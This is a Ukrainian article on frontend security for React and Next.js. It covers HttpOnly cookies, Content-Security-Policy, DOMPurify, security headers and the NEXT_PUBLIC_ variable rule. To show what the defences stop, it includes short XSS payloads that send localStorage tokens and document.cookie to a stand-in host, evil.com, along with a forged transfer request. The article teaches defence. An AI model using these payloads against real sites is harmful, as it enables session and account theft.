Головна / Статті

П’ять захисних механізмів фронтенду, які потрібні кожному додатку на React та Next.js

Чому додатки на React та Next.js використовують куки HttpOnly, CSP, DOMPurify, заголовки безпеки та правила NEXT_PUBLIC_, і які атаки кожен з них блокує.

Видавець: REACTAPP.TOP8 хв читання1873 слів

Джерела: 5 Security Practices Senior Frontend Engineers Use in React/Next.js Apps (But Most Developers Ignore)

Легко вважати, що питання безпеки — це справа бекенду, проте багато серйозних вразливостей, від крадіжки сеансів до витоку ключів API, починаються у коді клієнта. Кодові бази React та Next.js у продакшені містять патерни, які спочатку здаються зайвими: куки HttpOnly, дивні заголовки у next.config.js, інструмент DOMPurify, змінні типу NEXT_PUBLIC_ та політика Content-Security-Policy. У цьому посібнику пояснюються п’ять найважливіших з них, атаки, які вони блокують, та умови їх правильного застосування.

1. Захистіть токени автентифікації від доступу з JavaScript за допомогою кук HttpOnly

Зберігання токенів, ймовірно, є найважливішим рішенням з точки зору безпеки у фронтенді. Поширеним підходом є зберігання токена у localStorage:

localStorage.setItem("token", token);

і додавання його до кожного запиту вручну:

fetch("/profile", {
  headers: {
    Authorization: `Bearer ${token}`,
  },
});

Цей підхід працює, але дозволяє будь-якому скрипту, що виконується на вашій сторінці, читати токен.

Як XSS перетворюється на захоплення облікового запису

Крос-сайт скріптінг (XSS) означає, що зловмисник змушує свій JavaScript виконуватися на вашому сайті. Типовою точкою входу є відображення ненадійного HTML, наприклад коментаря користувача:

<div dangerouslySetInnerHTML={{ __html: comment }} />

Якщо зловмисник може змусити скрипт виконуватися, читання токена займає одну рядку:

<script>
fetch("evil.com?token=" + localStorage.getItem("token"))
</script>

Строго кажучи, тег script, вставлений через innerHTML (який використовується функцією dangerouslySetInnerHTML), не виконується; справжні атаки використовують навантаження у вигляді обробників подій, як описано у розділі 3. У будь-якому разі, як тільки скрипт починає виконуватися, localStorage повністю стає доступним.

Той, хто має токен-носій, може увійти без пароля, отримати доступ до облікового запису, імітувати користувача, виконувати транзакції чи користуватися функціями адміністратора.

Нехай браузер зберігає сесію

Стандартне рішення — це те, щоб сервер створював сесію у форматі куки, до якої скрипти не можуть отримати доступ:

Set-Cookie:
accessToken=abc123;
HttpOnly;
Secure;
SameSite=Strict

Кожен атрибут виконує певну функцію:

  • HttpOnly приховує куку від JavaScript: її читання зі скрипту, як показано нижче, не дозволить отримати її вміст.
  • Secure обмежує використання куки лише через HTTPS.
  • SameSite=Strict заважає браузеру надсилати куку у запитах, що походять з інших сайтів, що є ефективним захистом від підробки запитів між сайтами (CSRF). Режим Strict також видаляє куку, коли користувачі потрапляють через посилання з інших сайтів, тому багато додатків обирають режим Lax.
document.cookie

Зміна полягає у переході від контролю фронтенду до контролю браузера. Раніше токен керувався фронтендом:

Frontend controls token

Тепер це робить браузер:

Browser controls token

Ваш код більше не створює такий заголовок при кожному виклику:

Authorization: Bearer token

тому що браузер автоматично додає cookie. Дані облікового запису ніколи не проходять через код додатку. Щодо серверної частини, дивіться нашу порівняльну статтю сесій та JWT у Node.js.

2. Зупиніть виконання вставлених скриптів за допомогою політики безпеки вмісту

Часто ігнорованим засобом захисту є заголовок під назвою

Content-Security-Policy

який проекти Next.js часто налаштовують у

next.config.js

Чому HttpOnly-cookie недостатні

Припустимо, зловмиснику вдається вставити зовнішній скрипт:

<script src="https://evil.com/hack.js"></script>

За замовчуванням браузер його виконує. Зловмисник не може прочитати кукі, але йому це не потрібно: скрипт виконується на вашому сервері, тож його запити автоматично містять кукі користувача:

fetch("/send-money", {
  method: "POST",
  body: JSON.stringify({
    amount: 50000,
    to: "hacker",
  }),
});

Бекенд бачить автентифікований запит та обробляє передачу даних. Цей самий механізм дозволяє здійснювати інші атаки:

  • Фальшиві вікна входу. Скрипт відображає діалог, схожий на офіційний, як показано нижче, і все, що вводить користувач, потрапляє до зловмисника.
  • Примусове перенаправлення. Користувачів тихо направляють на сайт фішингу, який імітує ваш.
"Session expired. Enter password again."

Список дозволених кодів для виконання

CSP вказує браузеру, з яких джерел можна виконувати скрипти. Мінімальна політика виглядає так:

Content-Security-Policy:
script-src 'self'

'self' означає, що дозволені лише скрипти, які надсилаються з вашого власного домену. Коли сторінка зустрічає скрипт з іншого домену, наприклад такий, як нижче, браузер відмовляється його виконувати:

<script src="evil.com/hack.js"></script>

У Next.js ви можете надсилати заголовки для кожного маршруту за допомогою headers() у конфігурації:

const nextConfig = {
  async headers() {
    return [
      {
        source: "/(.*)",
        headers: [
          {
            key: "Content-Security-Policy",
            value: "script-src 'self';",
          },
        ],
      },
    ];
  },
};

Вважайте це відправною точкою. Простий запис script-src 'self' також блокує вбудовані скрипти, які Next.js використовує для ініціалізації, тому сувора політика зазвичай потребує використання нонсів (дивіться актуальну документацію Next.js щодо підходу з проміжним програмним забезпеченням). Спочатку впроваджуйте нові політики за допомогою Content-Security-Policy-Report-Only.

Два рівні, дві мети

HttpOnly-кукі зменшують шкоду від XSS; CSP намагається зовсім завадити виконанню скриптів. Справжня захист забезпечується поєднанням обох підходів.

3. Санітайзуйте HTML перед використанням dangerouslySetInnerHTML

React запобігає XSS лише на своєму стандартному шляху відображення, де інтерполований текст ескейпується:

<p>{content}</p>

Тож якщо API повертає рядок у такому вигляді, React відображає його як звичайний текст, а не виконує його:

<script>alert("hacked")</script>

Засіб для ескейпування —

dangerouslySetInnerHTML

і React навмисно включив це слово

dangerously

у назву функції.

Коли вам справді потрібен необроблений HTML

Блоги, сторінки CMS, результати обробки Markdown та редактори багатого тексту — усі вони потребують відображення HTML. Припустимо, бекенд повертає:

<h1>Frontend Security</h1>
<p>Learn React Security</p>

Його відображення через звичайну інтерполяцію:

<p>{content}</p>

виводить теги як прямий текст. Перехід на засіб ескейпування дає належним чином сформатований контент:

<div dangerouslySetInnerHTML={{
  __html: content
}} />

Він виглядає правильно, але залишається точкою введення для атак.

Контент, який дійсно виконується

Атакувальник надсилає маркапп у такому вигляді:

<img src="x"
onerror="
fetch(
'evil.com?data=' + document.cookie
)"
/>

Джерело зображення навмисно є недійсним, завантаження зазнає невдачі, і обробник onerror виконує JavaScript атакувальника.

Очищення за допомогою DOMPurify

Звичайним рішенням є санітарна обробка перед відображенням. Встановіть бібліотеку:

npm install dompurify

Імпортуйте її:

import DOMPurify from "dompurify";

і пройдіть санітарну обробку контенту перед тим, як передати його до React (у реальному коді виклик sanitize та оператор return мають знаходитися на окремих рядках):

const safeHTML =
DOMPurify.sanitize(content);return (
  <div
    dangerouslySetInnerHTML={{
      __html: safeHTML,
    }}
  />
);

DOMPurify видаляє небезпечні елементи, такі як елементи script, вбудовані обробники подій на кшталт onerror та onclick, URL-адреси у форматі javascript: у посиланнях, а також вставлені іфрейми, залишаючи лише безпечний маркап. На сервері немає браузерного DOM, тому код, генерований на сервері, потребує реалізації DOM, такої як jsdom, або санітації під час запису.

Ненадійні джерела включають ваш власний бекенд

Ніколи не довіряйте вхідним даним, навіть тим, що надходять від вашого власного API; ці дані зазвичай походять з ще менш надійних джерел:

  • кінцеві користувачі
  • панелі адміністрування
  • редактори CMS
  • API сторонніх компаній
  • редактори розширеного тексту

4. Заголовки безпеки браузера, які закривають приховані прогалини

Багато конфігурацій у продакшені встановлюють три заголовки, які легко проігнорувати:

X-Frame-Options
Strict-Transport-Security
X-Content-Type-Options

Кожен з них блокує різний тип атаки.

X-Frame-Options проти clickjacking

Зловмисник створює сторінку на власному домені:

evil.com

і завантажує ваш сайт у невидимому iframe поверх неї. Користувач думає, що натискає

Claim Prize

але клік потрапляє на справжню кнопку під нею:

Transfer ₹50,000

Це і є clickjacking. Рішенням є заборона на формування фреймів:

X-Frame-Options: DENY

Тоді браузер відмовляється формувати фрейми з вашими сторінками. Сучасний еквівалент CSP — це frame-ancestors 'none'; використання обох параметрів покриває старіші браузери.

Strict-Transport-Security для примусу використання HTTPS

У ненадійних мережах, таких як публічний Wi-Fi, звичайний HTTP-трафік може бути перехоплений, що призводить до витоку паролів, даних сеансу, одноразових кодів та іншої конфіденційної інформації. HSTS змушує браузер використовувати лише HTTPS:

Strict-Transport-Security:
max-age=31536000

Як тільки браузер побачив цей заголовок, навіть введена адреса на кшталт

http://example.com

автоматично перетворюється на

https://example.com

ще до того, як будь-який запит покине пристрій. Значення max-age становить один рік. Браузер дізнається про це правило лише через HTTPS, тому перший візит залишається незахищеним, якщо домен не був попередньо завантажений.

X-Content-Type-Options проти визначення типу MIME

Історично браузери намагалися вгадати справжній тип файлу. Якщо сервер оголошує

Content-Type: image/jpeg

але файл насправді містить скрипт, браузер, який визначає тип, може розглядати його як виконуваний. Щоб припинити таку поведінку, використовується один заголовок:

X-Content-Type-Options:
nosniff

Він вказує браузеру довіряти оголошеному Content-Type та припинити спроби вгадування.

Встановлення всіх трьох у Next.js

const nextConfig = {
  async headers() {
    return [
      {
        source: "/(.*)",
        headers: [
          {
            key: "X-Frame-Options",
            value: "DENY",
          },
          {
            key:
              "Strict-Transport-Security",
            value:
              "max-age=31536000",
          },
          {
            key:
              "X-Content-Type-Options",
            value: "nosniff",
          },
        ],
      },
    ];
  },
};

Ці заголовки майже не коштують і усувають цілі категорії атак.

5. Розділяйте секрети сервера від змінних середовища, видимих у браузері

Виключення файлу .env з Git не робить секрети безпечними. Важливо те, що потрапляє до пакету JavaScript.

Як секрети потрапляють до пакету

Візьмемо таку змінну:

SECRET_KEY=abc123

до якої посилається код з боку клієнта:

console.log(
 process.env.SECRET_KEY
);

Коли інструмент збирання коду вбудовує змінні середовища під час створення, готовий код містить їхні буквальні значення:

console.log("abc123");

Будь-хто може прочитати їх у інструментах розробника. Next.js запобігає випадковому доступу: змінні без префікса NEXT_PUBLIC_ не вбудовуються у код браузера та там розглядаються як undefined. Витоки інформації виникають, коли секрет отримує префікс public для приховування помилки або коли серверний компонент передає його клієнтському компоненту як параметр.

Контракт NEXT_PUBLIC_

Лише змінні, назви яких починаються з

NEXT_PUBLIC_

вбудовуються у версію браузера. Таке значення можна без проблем оприлюднити:

NEXT_PUBLIC_API_URL=
https://api.com

і його можна прочитати у клієнтському коді так:

process.env
.NEXT_PUBLIC_API_URL

адже URL API все одно є публічним.

Що ніколи не повинно бути публічним

Це має залишатися лише на сервері:

JWT_SECRET
DATABASE_URL
AWS_SECRET
STRIPE_SECRET_KEY
PRIVATE_KEYS

Типова конфігурація для продакшну

У репозиторії немає файлу .env, оскільки він перелічений у .gitignore:

.env

Реальні значення вставляються системою CI/CD або платформою хостингу під час створення або розгортання. Лише значення з префіксом NEXT_PUBLIC_ потрапляють у пакет браузера; все інше залишається на сервері.

Правило, яке потрібно пам’ятати: якщо браузер може отримати доступ до значення, воно є публічним. Жодна таємниця фронтенду насправді не є таємницею.

Основні висновки

Безпека фронтенду полягає у поступовому зменшенні поверхні атак та ускладненні їх реалізації, шар за шаром.

  1. HttpOnly-кукі не дозволяють вставленим скриптам отримати доступ до токенів сеансу.
  2. Політика безпеки контенту запобігає виконанню несанкціонованих скриптів, але для сумісності з вбудованими скриптами Next.js потребує значків автентифікації.
  3. DOMPurify робить використання dangerouslySetInnerHTML безпечним для контенту, який ви не створювали.
  4. Безпекові заголовки майже без зусиль блокують атаки типу clickjacking, зниження протоколу та аналіз MIME-типу.
  5. Межа NEXT_PUBLIC_ визначає, що буде надіслано до браузера, тому сприймайте цей префікс як рішення щодо публікації.

Знання того, які атаки запобігає кожен з цих підходів, дозволяє правильно налаштувати їх та помітити відсутність одного з них.